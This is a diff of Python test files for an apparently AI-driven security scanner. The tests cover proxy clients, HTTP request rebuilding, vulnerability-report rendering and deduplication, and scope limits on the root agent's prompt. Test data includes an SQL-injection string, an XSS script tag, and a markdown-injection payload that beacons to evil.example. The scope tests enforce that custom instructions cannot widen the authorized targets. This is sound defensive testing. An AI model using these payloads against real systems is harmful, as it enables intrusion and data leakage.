"anthropic/claude-opus-4-7",
"anthropic/claude-fable-5",
"anthropic/claude-sonnet-5",
"vertex_ai/claude-sonnet-5@default",
"vertex_ai/claude-sonnet-4-6@default",
"any-llm/anthropic/claude-sonnet-4-6",
"vertex_ai/gemini-3.1-pro-preview",
"openrouter/google/gemini-3.1-pro-preview",
"deepseek/deepseek-v4-pro",
"deepseek/deepseek-r1-0528",
"deepseek/deepseek-reasoner",
"dashscope/qwen3-max-2026-01-23",
"qwen3.7-max",
"moonshot/kimi-k2.6",
"kimi-k2.7-code",
],
)
def test_frontier_model_families_are_accepted(model_name: str) -> None:
assert is_recommended_or_frontier_model(model_name)
@pytest.mark.parametrize(
"model_name",
[
"",
"openai/gpt-4.1",
"anthropic/claude-3-5-sonnet-latest",
"ollama/llama3.1",
"deepseek/deepseek-chat",
"custom-ollama/gpt-5-mini-local",
"custom-provider/claude-opus-4-local",
"xai/grok-4.5",
"openrouter/x-ai/grok-4",
"mistral/mistral-medium-3-5",
"mistral/magistral-medium-latest",
],
)
def test_non_frontier_models_are_rejected(model_name: str) -> None:
assert not is_recommended_or_frontier_model(model_name)
-26
View File
@@ -1,26 +0,0 @@
"""Tests for the optional-dependency extras declared in pyproject.toml."""
from __future__ import annotations
import tomllib
from pathlib import Path
PYPROJECT = Path(__file__).resolve().parent.parent / "pyproject.toml"
def _optional_dependencies() -> dict[str, list[str]]:
data = tomllib.loads(PYPROJECT.read_text(encoding="utf-8"))
return data["project"]["optional-dependencies"]
def test_vertex_extra_pins_google_auth() -> None:
extras = _optional_dependencies()
assert "vertex" in extras
assert any(req.startswith("google-auth") for req in extras["vertex"])
def test_bedrock_extra_pins_boto3() -> None:
extras = _optional_dependencies()
assert "bedrock" in extras
assert any(req.startswith("boto3") for req in extras["bedrock"])
-74
View File
@@ -1,74 +0,0 @@
"""Tests for the provider import-error hint helper in interface/main.py."""
from __future__ import annotations
from strix.interface.main import _provider_import_hint
VERTEX_MODEL = "vertex_ai/gemini-3-pro-preview"
BEDROCK_MODEL = "bedrock/anthropic.claude-4-5-sonnet"
VERTEX_EXTRA_NAME = "vertex"
BEDROCK_EXTRA_NAME = "bedrock"
INSTALL_EXTRA_COMMAND_FRAGMENT = 'pipx install "strix-agent['
WRAPPED_VERTEX_GOOGLE_ERROR = "litellm.APIConnectionError: No module named 'google'"
WRAPPED_BEDROCK_BOTO3_ERROR = "litellm.APIConnectionError: No module named 'boto3'"
def test_bedrock_boto3_hint() -> None:
exc = ModuleNotFoundError("No module named 'boto3'")
hint = _provider_import_hint(exc, BEDROCK_MODEL)
assert hint is not None
assert INSTALL_EXTRA_COMMAND_FRAGMENT in hint
assert BEDROCK_EXTRA_NAME in hint
def test_vertex_google_hint() -> None:
exc = ImportError("No module named 'google'")
hint = _provider_import_hint(exc, VERTEX_MODEL)
assert hint is not None
assert INSTALL_EXTRA_COMMAND_FRAGMENT in hint
assert VERTEX_EXTRA_NAME in hint
def test_vertex_google_hint_for_litellm_wrapped_connection_error() -> None:
exc = ConnectionError(WRAPPED_VERTEX_GOOGLE_ERROR)
hint = _provider_import_hint(exc, VERTEX_MODEL)
assert hint is not None
assert INSTALL_EXTRA_COMMAND_FRAGMENT in hint
assert VERTEX_EXTRA_NAME in hint
def test_bedrock_boto3_hint_for_litellm_wrapped_connection_error() -> None:
exc = ConnectionError(WRAPPED_BEDROCK_BOTO3_ERROR)
hint = _provider_import_hint(exc, BEDROCK_MODEL)
assert hint is not None
assert INSTALL_EXTRA_COMMAND_FRAGMENT in hint
assert BEDROCK_EXTRA_NAME in hint
def test_vertex_google_submodule_hint() -> None:
exc = ModuleNotFoundError("No module named 'google.auth'")
hint = _provider_import_hint(exc, VERTEX_MODEL)
assert hint is not None
assert INSTALL_EXTRA_COMMAND_FRAGMENT in hint
assert VERTEX_EXTRA_NAME in hint
def test_vertex_google_hint_for_deeply_chained_error() -> None:
root = ModuleNotFoundError("No module named 'google.auth'")
middle = RuntimeError("provider init failed")
middle.__cause__ = root
exc = ConnectionError("litellm.APIConnectionError: request failed")
exc.__cause__ = middle
hint = _provider_import_hint(exc, VERTEX_MODEL)
assert hint is not None
assert VERTEX_EXTRA_NAME in hint
def test_non_import_error_returns_none() -> None:
assert _provider_import_hint(ConnectionError("boom"), "bedrock/whatever") is None
def test_unrelated_provider_returns_none() -> None:
exc = ImportError("No module named 'something'")
assert _provider_import_hint(exc, "openai/gpt-4") is None
-209
View File
@@ -1,209 +0,0 @@
"""Tests for the shared Caido client lifecycle and proxy call serialization.
Covers the caching + serialization guarantees of ``caido_api.call_with_client``
(the sandbox-imported path) and ``proxy.tools._call`` (the host-side path). The
Caido GraphQL transport is not concurrency-safe, so both paths must run one
call at a time against the shared client.
"""
from __future__ import annotations
import asyncio
from typing import TYPE_CHECKING, Any, cast
import pytest
from strix.tools.proxy import caido_api, tools
if TYPE_CHECKING:
from collections.abc import Iterator
class _FakeClient:
def __init__(self, name: str) -> None:
self.name = name
self.closed = False
async def aclose(self) -> None:
self.closed = True
@pytest.fixture(autouse=True)
def _clear_cache() -> Iterator[None]:
caido_api._CLIENT_CACHE.clear()
yield
caido_api._CLIENT_CACHE.clear()
async def test_call_with_client_reuses_cached_client(monkeypatch: pytest.MonkeyPatch) -> None:
cached = _FakeClient("cached")
caido_api._CLIENT_CACHE["default"] = cast("Any", cached)
async def _new() -> Any:
raise AssertionError("_new_client must not run when a client is cached")
monkeypatch.setattr(caido_api, "_new_client", _new)
seen: dict[str, Any] = {}
async def fn(client: Any) -> str:
seen["client"] = client
return "ok"
assert await caido_api.call_with_client(fn) == "ok"
assert seen["client"] is cached
async def test_call_with_client_creates_and_caches_when_empty(
monkeypatch: pytest.MonkeyPatch,
) -> None:
created = _FakeClient("fresh")
async def _new() -> Any:
return created
monkeypatch.setattr(caido_api, "_new_client", _new)
seen: dict[str, Any] = {}
async def fn(client: Any) -> str:
seen["client"] = client
return "ok"
assert await caido_api.call_with_client(fn) == "ok"
assert seen["client"] is created
assert caido_api._CLIENT_CACHE["default"] is created
async def test_failed_init_does_not_poison_cache(monkeypatch: pytest.MonkeyPatch) -> None:
async def _new() -> Any:
raise ConnectionRefusedError("caido not up yet")
monkeypatch.setattr(caido_api, "_new_client", _new)
async def fn(_client: Any) -> str:
return "unreachable"
with pytest.raises(ConnectionRefusedError):
await caido_api.call_with_client(fn)
assert "default" not in caido_api._CLIENT_CACHE
async def test_call_with_client_propagates_errors() -> None:
cached = _FakeClient("cached")
caido_api._CLIENT_CACHE["default"] = cast("Any", cached)
async def fn(_client: Any) -> str:
raise ValueError("Invalid HTTPQL filter")
with pytest.raises(ValueError, match="Invalid HTTPQL"):
await caido_api.call_with_client(fn)
assert caido_api._CLIENT_CACHE["default"] is cached
async def test_call_with_client_serializes_concurrent_calls(
monkeypatch: pytest.MonkeyPatch,
) -> None:
caido_api._CLIENT_CACHE["default"] = cast("Any", _FakeClient("shared"))
async def _new() -> Any:
raise AssertionError("no new client expected")
monkeypatch.setattr(caido_api, "_new_client", _new)
state = {"active": 0, "max": 0}
async def fn(_client: Any) -> str:
state["active"] += 1
state["max"] = max(state["max"], state["active"])
await asyncio.sleep(0.01)
state["active"] -= 1
return "ok"
await asyncio.gather(*(caido_api.call_with_client(fn) for _ in range(6)))
assert state["max"] == 1
async def test_host_call_serializes_concurrent_calls() -> None:
client = _FakeClient("host")
state = {"active": 0, "max": 0}
async def fn(_client: Any) -> str:
state["active"] += 1
state["max"] = max(state["max"], state["active"])
await asyncio.sleep(0.01)
state["active"] -= 1
return "ok"
await asyncio.gather(*(tools._call(cast("Any", client), fn) for _ in range(6)))
assert state["max"] == 1
def _headers_named(raw: bytes, name: str) -> list[str]:
head = raw.decode("utf-8").split("\r\n\r\n", 1)[0]
return [
line.split(":", 1)[1].strip()
for line in head.split("\r\n")[1:]
if line.split(":", 1)[0].strip().lower() == name.lower()
]
def test_build_raw_request_recomputes_content_length_for_modified_body() -> None:
# The captured request declared Content-Length: 12 (original body); the
# replayed body is longer. The emitted request must carry exactly one
# Content-Length equal to the ACTUAL body length, or the target truncates
# the modified payload (or the connection desyncs).
body = '{"user":"a\' OR 1=1 -- injected long payload"}'
_conn, raw = caido_api.build_raw_request(
method="POST",
url="https://example.com/login",
headers={"content-length": "12", "Content-Type": "application/json"},
body=body,
)
sent_body = raw.decode("utf-8").split("\r\n\r\n", 1)[1]
assert sent_body == body
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
def test_build_raw_request_drops_transfer_encoding_for_modified_body() -> None:
body = '{"user":"updated"}'
_conn, raw = caido_api.build_raw_request(
method="POST",
url="https://example.com/login",
headers={
"tRaNsFeR-EnCoDiNg": "chunked",
"Content-Length": "7",
"Content-Type": "application/json",
},
body=body,
)
assert _headers_named(raw, "Transfer-Encoding") == []
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
def test_build_raw_request_drops_stale_content_length_for_empty_body() -> None:
# A body cleared to empty must not keep the inherited (non-zero) length.
_conn, raw = caido_api.build_raw_request(
method="POST",
url="https://example.com/x",
headers={"Content-Length": "12"},
body="",
)
assert _headers_named(raw, "Content-Length") == []
class _Ctx:
def __init__(self, context: Any) -> None:
self.context = context
def test_ctx_client_returns_client_when_present() -> None:
client = _FakeClient("host")
got = tools._ctx_client(cast("Any", _Ctx({"caido_client": client})))
assert got is client
def test_ctx_client_returns_none_without_client() -> None:
assert tools._ctx_client(cast("Any", _Ctx({}))) is None
assert tools._ctx_client(cast("Any", _Ctx(None))) is None
-56
View File
@@ -79,62 +79,6 @@ def test_render_vulnerability_md_includes_core_sections() -> None:
assert "**Endpoint:** /api/login" in md
def test_render_vulnerability_md_includes_dependency_fields() -> None:
md = render_vulnerability_md(
_sample_report(
title="CVE-2021-23337 in lodash 4.17.20",
severity="high",
target="repo/package.json",
endpoint=None,
method=None,
cve="CVE-2021-23337",
cwe="CWE-94",
cvss=7.2,
fix_effort="trivial",
finding_class="dependency_cve",
evidence="**Advisory evidence:** `CVE-2021-23337` applies to `lodash`.",
assumptions="Assumes lodash ships in deployed builds.",
dependency_metadata={
"package_name": "lodash",
"package_ecosystem": "npm",
"installed_version": "4.17.20",
"fixed_version": "4.17.21",
},
remediation_steps="Upgrade to 4.17.21.",
),
)
assert "**Package:** lodash" in md
assert "**Ecosystem:** npm" in md
assert "**Installed Version:** 4.17.20" in md
assert "**Fixed Version:** 4.17.21" in md
assert "**CWE:** CWE-94" in md
assert "**Fix Effort:** Trivial" in md
assert "## Evidence" in md
assert "## Assumptions" in md
def test_render_vulnerability_md_poc_code_cannot_break_out_of_fence() -> None:
# LLM/target-authored PoC content containing its own ``` must not close the
# fence early and turn the injected markdown into live headings/images.
injected = "curl x\n```\n\n## Injected Heading\n![x](https://evil.example/beacon.png)"
md = render_vulnerability_md(_sample_report(poc_script_code=injected))
lines = md.split("\n")
fence = next(ln for ln in lines[lines.index("## Proof of Concept") + 1 :] if ln.strip())
assert set(fence) == {"`"}
assert len(fence) >= 4 # wider than the payload's 3-backtick run
assert injected in md # the payload survives verbatim, inside the fence
def test_render_vulnerability_md_snippet_cannot_break_out_of_fence() -> None:
snippet = "row = q()\n```\n## Injected"
md = render_vulnerability_md(
_sample_report(code_locations=[{"file": "app.py", "snippet": snippet}]),
)
assert (
" ````\n row = q()\n ```\n ## Injected\n ````"
) in md # indented fence widened past the payload's ``` run
def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) -> None:
reports = [
_sample_report(id="vuln-0001", severity="medium", timestamp="2026-07-02 11:00:00 UTC"),
-564
View File
@@ -1,564 +0,0 @@
"""Tests for restored report fields, SCA tool, and report formatting guidance."""
from __future__ import annotations
from typing import TYPE_CHECKING
import pytest
from strix.report.dedupe import (
_check_dependency_duplicate,
_prepare_report_for_comparison,
check_duplicate,
)
from strix.report.state import ReportState, set_global_report_state
from strix.tools.finish.tool import finish_scan
from strix.tools.reporting.tool import (
_do_create,
_do_create_dependency,
create_dependency_report,
create_vulnerability_report,
)
if TYPE_CHECKING:
from pathlib import Path
_CVSS = {
"attack_vector": "N",
"attack_complexity": "L",
"privileges_required": "N",
"user_interaction": "N",
"scope": "U",
"confidentiality": "H",
"integrity": "H",
"availability": "H",
}
@pytest.fixture
def report_state(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> ReportState:
monkeypatch.chdir(tmp_path)
state = ReportState(run_name="test-run")
set_global_report_state(state)
return state
async def test_create_report_persists_new_fields(report_state: ReportState) -> None:
result = await _do_create(
title="Reflected XSS in search",
description="q reflects unencoded input.",
impact="Session theft.",
target="https://app.example.com",
technical_analysis="Input interpolated into HTML.",
poc_description="1. open /search?q=<payload>",
poc_script_code="GET /search?q=<script>alert(1)</script>",
remediation_steps="Context-encode output.",
evidence="Response echoes the payload verbatim.",
assumptions="Assumes a victim opens a crafted link.",
fix_effort="LOW",
cvss_breakdown=_CVSS,
endpoint="/search",
method="GET",
cve=None,
cwe="CWE-79",
code_locations=None,
fix_pr_body="## Fix\nEncode output.",
)
assert result["success"] is True
report = report_state.vulnerability_reports[0]
assert report["evidence"] == "Response echoes the payload verbatim."
assert report["assumptions"] == "Assumes a victim opens a crafted link."
assert report["fix_effort"] == "low"
assert report["fix_pr_body"] == "## Fix\nEncode output."
assert report["finding_class"] == "dynamic"
async def test_create_report_requires_evidence_and_assumptions(
report_state: ReportState,
) -> None:
result = await _do_create(
title="X",
description="d",
impact="i",
target="t",
technical_analysis="ta",
poc_description="p",
poc_script_code="c",
remediation_steps="r",
evidence=" ",
assumptions="",
fix_effort="low",
cvss_breakdown=_CVSS,
endpoint=None,
method=None,
cve=None,
cwe=None,
code_locations=None,
)
assert result["success"] is False
joined = " ".join(result["errors"])
assert "Evidence" in joined
assert "Assumptions" in joined
assert not report_state.vulnerability_reports
async def test_create_report_rejects_invalid_fix_effort(report_state: ReportState) -> None:
result = await _do_create(
title="X",
description="d",
impact="i",
target="t",
technical_analysis="ta",
poc_description="p",
poc_script_code="c",
remediation_steps="r",
evidence="e",
assumptions="a",
fix_effort="enormous",
cvss_breakdown=_CVSS,
endpoint=None,
method=None,
cve=None,
cwe=None,
code_locations=None,
)
assert result["success"] is False
assert any("fix_effort" in e for e in result["errors"])
assert not report_state.vulnerability_reports
async def test_dependency_report_sets_class_and_metadata(report_state: ReportState) -> None:
result = await _do_create_dependency(
title="CVE-2021-23337 in lodash 4.17.20",
description="Command injection via template.",
target="repo/package.json",
cve="CVE-2021-23337",
package_name="lodash",
installed_version="4.17.20",
impact="Arbitrary command execution.",
remediation_steps="Upgrade to 4.17.21.",
assumptions="Assumes the template sink is reachable.",
package_ecosystem="npm",
fixed_version="4.17.21",
cwe="CWE-94",
advisory_cvss=7.2,
technical_analysis=None,
fix_effort="trivial",
)
assert result["success"] is True
report = report_state.vulnerability_reports[0]
assert report["finding_class"] == "dependency_cve"
assert report["cve"] == "CVE-2021-23337"
assert report["severity"] == "high"
assert report["evidence"] == (
"**Advisory evidence:** `CVE-2021-23337` applies to `lodash` "
"at installed version `4.17.20`. The advisory is fixed in `4.17.21`."
)
assert report["dependency_metadata"] == {
"package_name": "lodash",
"installed_version": "4.17.20",
"package_ecosystem": "npm",
"fixed_version": "4.17.21",
}
async def test_dependency_report_with_zero_cvss_remains_low_severity(
report_state: ReportState,
) -> None:
result = await _do_create_dependency(
title="CVE-2024-0001 in sample 1.0.0",
description="Published advisory affects the pinned version.",
target="repo/package.json",
cve="CVE-2024-0001",
package_name="sample",
installed_version="1.0.0",
impact="Low-impact dependency advisory.",
remediation_steps="Upgrade to 1.0.1.",
assumptions="Assumes the package is included in deployed builds.",
package_ecosystem="npm",
fixed_version="1.0.1",
cwe=None,
advisory_cvss=0.0,
technical_analysis=None,
fix_effort="low",
)
assert result["success"] is True
assert result["severity"] == "low"
report = report_state.vulnerability_reports[0]
assert report["severity"] == "low"
assert report["cvss"] == 0.0
async def test_dependency_report_requires_advisory_cvss(report_state: ReportState) -> None:
result = await _do_create_dependency(
title="CVE-2024-0001 in sample 1.0.0",
description="Published advisory affects the pinned version.",
target="repo/package.json",
cve="CVE-2024-0001",
package_name="sample",
installed_version="1.0.0",
impact="Some impact.",
remediation_steps="Upgrade to 1.0.1.",
assumptions="Assumes the package ships in deployed builds.",
package_ecosystem="npm",
fixed_version="1.0.1",
cwe=None,
advisory_cvss=None,
technical_analysis=None,
fix_effort="low",
)
assert result["success"] is False
assert any("advisory_cvss is required" in e for e in result["errors"])
assert not report_state.vulnerability_reports
async def test_dependency_report_dedupe_candidate_includes_dependency_metadata(
report_state: ReportState,
monkeypatch: pytest.MonkeyPatch,
) -> None:
captured: dict[str, object] = {}
async def fake_check_duplicate(
candidate: dict[str, object],
existing: list[dict[str, object]],
) -> dict[str, object]:
captured["candidate"] = candidate
captured["existing"] = existing
return {"is_duplicate": False}
monkeypatch.setattr("strix.report.dedupe.check_duplicate", fake_check_duplicate)
report_state.vulnerability_reports.append(
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in other 1.0.0",
"severity": "low",
"timestamp": "2026-01-01 00:00:00 UTC",
"description": "Existing dependency finding.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "other",
"installed_version": "1.0.0",
"package_ecosystem": "npm",
},
}
)
result = await _do_create_dependency(
title="CVE-2024-0001 in sample 1.0.0",
description="Published advisory affects the pinned version.",
target="repo/package.json",
cve="CVE-2024-0001",
package_name="sample",
installed_version="1.0.0",
impact="Low-impact dependency advisory.",
remediation_steps="Upgrade to 1.0.1.",
assumptions="Assumes the package is included in deployed builds.",
package_ecosystem="npm",
fixed_version="1.0.1",
cwe=None,
advisory_cvss=0.0,
technical_analysis=None,
fix_effort="low",
)
assert result["success"] is True
assert captured["candidate"] == {
"title": "CVE-2024-0001 in sample 1.0.0",
"description": "Published advisory affects the pinned version.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.0",
"package_ecosystem": "npm",
"fixed_version": "1.0.1",
},
"technical_analysis": None,
}
async def test_dependency_report_rejects_bad_cve(report_state: ReportState) -> None:
result = await _do_create_dependency(
title="bad",
description="d",
target="t",
cve="not-a-cve",
package_name="pkg",
installed_version="1.0.0",
impact="i",
remediation_steps="r",
assumptions="a",
package_ecosystem="npm",
fixed_version=None,
cwe=None,
advisory_cvss=None,
technical_analysis=None,
fix_effort="low",
)
assert result["success"] is False
assert not report_state.vulnerability_reports
async def test_dependency_report_requires_ecosystem(report_state: ReportState) -> None:
result = await _do_create_dependency(
title="CVE-2024-0001 in sample 1.0.0",
description="Published advisory affects the pinned version.",
target="repo/package.json",
cve="CVE-2024-0001",
package_name="sample",
installed_version="1.0.0",
impact="Low-impact dependency advisory.",
remediation_steps="Upgrade to 1.0.1.",
assumptions="Assumes the package is included in deployed builds.",
package_ecosystem="",
fixed_version="1.0.1",
cwe=None,
advisory_cvss=0.0,
technical_analysis=None,
fix_effort="low",
)
assert result["success"] is False
assert any("package_ecosystem" in error for error in result["errors"])
assert not report_state.vulnerability_reports
def test_dedupe_comparison_preserves_cve_identity() -> None:
cleaned = _prepare_report_for_comparison(
{
"title": "CVE-2021-23337 in lodash",
"description": "Pinned vulnerable dependency.",
"target": "repo/package.json",
"cve": "CVE-2021-23337",
"dependency_metadata": {"package_name": "lodash"},
}
)
assert cleaned["cve"] == "CVE-2021-23337"
assert cleaned["dependency_metadata"] == {"package_name": "lodash"}
async def test_dependency_dedupe_uses_cve_package_identity() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in other",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "other",
"installed_version": "1.0.0",
"package_ecosystem": "npm",
},
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Similar advisory prose.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.0",
"package_ecosystem": "npm",
},
}
result = await check_duplicate(candidate, existing)
assert result["is_duplicate"] is False
assert result["confidence"] == 1.0
async def test_dependency_dedupe_rejects_same_cve_package_identity() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in sample",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.0",
"package_ecosystem": "npm",
},
}
]
candidate = {
"title": "CVE-2024-0001 in sample with different prose",
"description": "Different prose for the same dependency identity.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "npm",
},
}
result = await check_duplicate(candidate, existing)
assert result["is_duplicate"] is True
assert result["duplicate_id"] == "vuln-0001"
assert result["confidence"] == 1.0
async def test_dependency_dedupe_detects_legacy_same_cve_package() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in npm sample package",
"description": "Legacy dependency finding without structured metadata.",
"cve": "CVE-2024-0001",
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Different prose for the same dependency identity.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "npm",
},
}
result = await check_duplicate(candidate, existing)
assert result["is_duplicate"] is True
assert result["duplicate_id"] == "vuln-0001"
assert result["confidence"] == 1.0
def test_dependency_dedupe_defers_unclear_legacy_same_cve() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 dependency finding",
"description": "Legacy dependency finding without package identity.",
"cve": "CVE-2024-0001",
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Candidate dependency finding.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "npm",
},
}
assert _check_dependency_duplicate(candidate, existing) is None
def test_dependency_dedupe_defers_legacy_package_substring_match() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in sample-package",
"description": "Legacy dependency finding for a different package.",
"cve": "CVE-2024-0001",
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Candidate dependency finding.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "npm",
},
}
assert _check_dependency_duplicate(candidate, existing) is None
def test_dependency_dedupe_defers_legacy_ecosystem_mismatch() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in npm sample",
"description": "Legacy dependency finding for a different ecosystem.",
"cve": "CVE-2024-0001",
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Candidate dependency finding.",
"target": "repo/requirements.txt",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "pypi",
},
}
assert _check_dependency_duplicate(candidate, existing) is None
def test_dependency_dedupe_matches_structured_missing_ecosystem() -> None:
existing = [
{
"id": "vuln-0001",
"title": "CVE-2024-0001 in sample",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.0",
},
}
]
candidate = {
"title": "CVE-2024-0001 in sample",
"description": "Candidate dependency finding.",
"target": "repo/package.json",
"cve": "CVE-2024-0001",
"dependency_metadata": {
"package_name": "sample",
"installed_version": "1.0.1",
"package_ecosystem": "npm",
},
}
result = _check_dependency_duplicate(candidate, existing)
assert result is not None
assert result["is_duplicate"] is True
assert result["duplicate_id"] == "vuln-0001"
def test_tool_descriptions_include_formatting_guidance() -> None:
vuln_desc = create_vulnerability_report.description
assert "markdown" in vuln_desc.lower()
assert "fenced code" in vuln_desc.lower()
finish_desc = finish_scan.description
assert "markdown" in finish_desc.lower()
assert "# Executive Summary" in finish_desc
dep_desc = create_dependency_report.description
assert "cve" in dep_desc.lower()
assert "reachab" in dep_desc.lower()
def test_vuln_tool_exposes_new_params() -> None:
props = create_vulnerability_report.params_json_schema["properties"]
for field in ("evidence", "assumptions", "fix_effort", "fix_pr_body"):
assert field in props
dep_props = create_dependency_report.params_json_schema["properties"]
for field in ("package_name", "installed_version", "cve", "advisory_cvss"):
assert field in dep_props
dep_required = create_dependency_report.params_json_schema["required"]
assert "package_ecosystem" in dep_required
assert "advisory_cvss" in dep_required
+3 -9
View File
@@ -33,13 +33,7 @@ async def test_persistent_rate_limit_stops_gracefully(
monkeypatch.setattr(runner, "set_scan_id", lambda _scan_id: None)
settings = types.SimpleNamespace(
llm=types.SimpleNamespace(
model="openai/gpt-4o",
reasoning_effort="high",
force_required_tool_choice=False,
timeout=300,
),
runtime=types.SimpleNamespace(max_context_images=3),
llm=types.SimpleNamespace(model="openai/gpt-4o", reasoning_effort="high")
)
monkeypatch.setattr(runner, "load_settings", lambda: settings)
monkeypatch.setattr(runner, "configure_sdk_model_defaults", lambda _settings: None)
@@ -56,8 +50,8 @@ async def test_persistent_rate_limit_stops_gracefully(
async def _cleanup(*_args: Any, **_kwargs: Any) -> None:
return None
monkeypatch.setattr(runner.session_manager, "create_or_reuse", _create_or_reuse) # type: ignore[attr-defined]
monkeypatch.setattr(runner.session_manager, "cleanup", _cleanup) # type: ignore[attr-defined]
monkeypatch.setattr(runner.session_manager, "create_or_reuse", _create_or_reuse)
monkeypatch.setattr(runner.session_manager, "cleanup", _cleanup)
monkeypatch.setattr(runner, "build_root_task", lambda _scan_config: "task")
monkeypatch.setattr(runner, "build_scope_context", lambda _scan_config: "")
-174
View File
@@ -1,174 +0,0 @@
"""Tests for root scan prompt options in run_strix_scan.
Verify that ``root_instructions_override`` and ``extra_system_prompt_context``
flow through to the root agent's ``build_strix_agent`` call.
"""
from __future__ import annotations
import types
from typing import Any
import httpx
import pytest
from openai import RateLimitError
import strix.tools.notes.tools as notes_tools
import strix.tools.todo.tools as todo_tools
from strix.core import runner
from strix.core.agents import AgentCoordinator
def _make_rate_limit_error() -> RateLimitError:
request = httpx.Request("POST", "https://api.openai.com/v1/responses")
response = httpx.Response(status_code=429, request=request)
return RateLimitError("rate limited", response=response, body=None)
def _patch_engine_scaffold(
monkeypatch: pytest.MonkeyPatch,
tmp_path: Any,
scope_context: dict[str, Any],
) -> dict[str, Any]:
"""Stub out everything around build_strix_agent and stop at run_agent_loop.
Returns a dict that will be populated with the kwargs the runner passed to
``build_strix_agent`` for the root agent.
"""
monkeypatch.setattr(runner, "run_dir_for", lambda _scan_id: tmp_path)
monkeypatch.setattr(runner, "runtime_state_dir", lambda _run_dir: tmp_path)
monkeypatch.setattr(runner, "setup_scan_logging", lambda _run_dir: lambda: None)
monkeypatch.setattr(runner, "set_scan_id", lambda _scan_id: None)
settings = types.SimpleNamespace(
llm=types.SimpleNamespace(
model="openai/gpt-4o",
reasoning_effort="high",
force_required_tool_choice=False,
timeout=300,
)
)
monkeypatch.setattr(runner, "load_settings", lambda: settings)
monkeypatch.setattr(runner, "configure_sdk_model_defaults", lambda _settings: None)
monkeypatch.setattr(
runner,
"uses_chat_completions_tool_schema",
lambda _model, _settings: False,
)
monkeypatch.setattr(todo_tools, "hydrate_todos_from_disk", lambda _state_dir: None)
monkeypatch.setattr(notes_tools, "hydrate_notes_from_disk", lambda _state_dir: None)
async def _create_or_reuse(*_args: Any, **_kwargs: Any) -> dict[str, Any]:
return {"client": object(), "session": object(), "caido_client": None}
async def _cleanup(*_args: Any, **_kwargs: Any) -> None:
return None
monkeypatch.setattr(runner.session_manager, "create_or_reuse", _create_or_reuse)
monkeypatch.setattr(runner.session_manager, "cleanup", _cleanup)
monkeypatch.setattr(runner, "build_root_task", lambda _scan_config: "task")
monkeypatch.setattr(runner, "build_scope_context", lambda _scan_config: scope_context)
monkeypatch.setattr(runner, "make_model_settings", lambda *_args, **_kwargs: object())
captured: dict[str, Any] = {}
def _build_strix_agent(**kwargs: Any) -> object:
if kwargs.get("is_root") and "kwargs" not in captured:
captured["kwargs"] = kwargs
return object()
monkeypatch.setattr(runner, "build_strix_agent", _build_strix_agent)
monkeypatch.setattr(runner, "make_child_factory", lambda **_kwargs: lambda **_k: object())
monkeypatch.setattr(runner, "open_agent_session", lambda _root_id, _db: object())
async def _raise_rate_limit(*_args: Any, **_kwargs: Any) -> None:
raise _make_rate_limit_error()
monkeypatch.setattr(runner, "run_agent_loop", _raise_rate_limit)
return captured
@pytest.mark.asyncio
async def test_root_prompt_options_flow_into_root_agent(
monkeypatch: pytest.MonkeyPatch,
tmp_path: Any,
) -> None:
scope_context = {
"scope_source": "system_scan_config",
"authorization_source": "strix_platform_verified_targets",
"authorized_targets": [
{
"type": "web_application",
"value": "https://example.com",
"workspace_path": "",
},
],
"user_instructions_do_not_expand_scope": True,
}
captured = _patch_engine_scaffold(monkeypatch, tmp_path, scope_context)
await runner.run_strix_scan(
scan_config={"targets": [], "scan_mode": "deep"},
scan_id="scan-ext",
image="img",
coordinator=AgentCoordinator(),
root_instructions_override="CUSTOM SCAN PROMPT",
extra_system_prompt_context={"target_context": "known findings"},
)
kwargs = captured["kwargs"]
instructions_override = kwargs["instructions_override"]
assert "SYSTEM-VERIFIED SCOPE" in instructions_override
assert "AUTHORIZED TARGETS" in instructions_override
assert "https://example.com" in instructions_override
assert "CUSTOM SCAN PROMPT" in instructions_override
assert (
"cannot expand, replace, or weaken authorized target constraints" in instructions_override
)
assert kwargs["system_prompt_context"] == {
**scope_context,
"target_context": "known findings",
}
@pytest.mark.asyncio
async def test_extra_system_prompt_context_cannot_override_scope_context(
monkeypatch: pytest.MonkeyPatch,
tmp_path: Any,
) -> None:
scope_context = {"authorized_targets": [{"type": "web_application"}]}
captured = _patch_engine_scaffold(monkeypatch, tmp_path, scope_context)
with pytest.raises(ValueError, match="authorized_targets"):
